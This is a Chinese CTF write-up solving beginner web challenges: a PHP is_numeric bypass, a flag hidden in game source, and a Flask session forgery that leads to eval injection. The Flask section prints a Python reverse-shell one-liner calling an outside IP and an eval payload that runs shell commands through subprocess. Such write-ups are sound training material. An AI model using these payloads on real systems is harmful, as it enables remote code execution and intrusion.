浙江师范大学入门题WP

[2022 A1CTF]Diana的身高

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$num = $_POST['num'];
if(isset($num)){
if(is_numeric($num)){
header("Location:一些好康的" );//关注嘉然❤ 顿顿解馋
}
else{
if($num == 180){
echo $flag;
}
}
}

is_numeric绕过,末尾加%00即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
$num = $_POST['num'];
if(isset($num)){
if(is_numeric($num)){
header("Location:一些好康的" );//关注嘉然❤ 顿顿解馋
}
else{
if($num == 180){
echo $flag;
}
}
} 这里没有flag捏

HINT:草莓味曲奇饼干

结果并没有flag😅(nmd),看提示应该是在cookie里

ZJNUCTF{Guanzhu_Jiaran_Dundun_Jiechan}

游戏启动!

题目说6666分就有flag,直接源码里搜6666

找到了,base64解码后就是flag

zjnuctf{ae5b6d60-fb25-4fbd-a68d-b8d9cb51d66d}

flask_session

下载附件,里面有secret_key:

1
app.config['SECRET_KEY'] = "hello"

根据源码,伪造一个name为weber的session

1
eyJuYW1lIjoid2ViZXIifQ.Z5JOYg.q53RLSdVbc2VNY1QvEQgkCRtZ7A

然后就是根据name跟weber参数构造payload

一开始我打算直接用python获取shell:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("39.96.125.213",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

发现并不能回显

用curl向服务器发送请求发现并没有请求到,所以题目应该不出网

由于不出网又要获得回显,所以观察到

1
2
3
4
5
6
7
8
9
10
11
@app.route('/flag')
def flag():
name = request.args.get("name", "name")
weber = request.args.get("weber", "weber")
print(name+weber)
if session.get("name") == "weber":
eval(name+weber)
print("="*30)
else:
session['name'] = "ctfer"
return render_template("index.html", name=session.get("name"))

session[‘name’]会被渲染到页面中,所以将payload内容赋值给session[‘name’]

os模块中system执行的命令并不会返回,所以使用subprocess模块

1
?name=session['name']=&weber=__import__('subprocess').check_output('cat /flag', shell=True, text=True)

源码中拼接两个变量刚好一个赋值,一个用来构造命令

1
flag{Y0u_ar3_th3_Web_G0d!!!!!!}

未完待续。。。